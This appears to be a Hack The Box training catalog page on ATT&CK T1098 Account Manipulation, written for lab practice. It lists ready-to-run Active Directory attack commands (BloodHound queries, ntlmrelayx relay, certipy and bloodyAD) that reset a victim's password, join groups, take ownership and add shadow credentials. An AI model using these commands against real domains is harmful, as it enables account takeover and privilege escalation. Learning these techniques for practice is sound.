T1098

Account Manipulation

Changing passwords, groups, keys or attributes of an account you have rights over.

How it shows up on Hack The Box

In Active Directory it is how you exploit the ACLs BloodHound finds: GenericAll or ForceChangePassword to reset a password, AddMember to join a group, or shadow credentials with AddKeyCredentialLink.

Techniques in our catalog that match this one (the number is their machines):

Machines to practice it

Sorted from easiest to hardest. The ▶ link takes you to the minute of the IppSec video where it is used.

Guides

Commands

Taken from our cheatsheets and tool pages. Type your details and they are filled into every command.

Your values Saved in this browser and applied to every cheatsheet.

Active Directory in depth › BloodHound

What your owned user can abuse (outbound ACLs)
MATCH p=(u:User {owned:true})-[:GenericAll|GenericWrite|WriteDacl|WriteOwner|AddKeyCredentialLink|ForceChangePassword|AddMember|AllowedToDelegate*1..]->(n) RETURN p

Active Directory in depth › NTLM relay

Relay to LDAP for delegation or shadow credentials Attacker
impacket-ntlmrelayx -t ldaps://dc01.box.htb --delegate-access --no-dump --no-da

Active Directory in depth › Delegation

Add a key and get the NT hash with certipy Attacker
certipy shadow auto -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -account victima

bloodyAD › Abusing ACLs

Reset another user's password
bloodyAD --host 10.10.11.20 -d box.htb -u usuario -p 'Password123!' set password victima 'NuevaClave123!'
Add yourself to a group
bloodyAD --host 10.10.11.20 -d box.htb -u usuario -p 'Password123!' add groupMember 'NOMBRE DEL GRUPO' usuario
Take ownership and grant yourself full control
bloodyAD --host 10.10.11.20 -d box.htb -u usuario -p 'Password123!' set owner victima usuario
bloodyAD --host 10.10.11.20 -d box.htb -u usuario -p 'Password123!' add genericAll victima usuario
Shadow credentials
bloodyAD --host 10.10.11.20 -d box.htb -u usuario -p 'Password123!' add shadowCredentials victima

Tools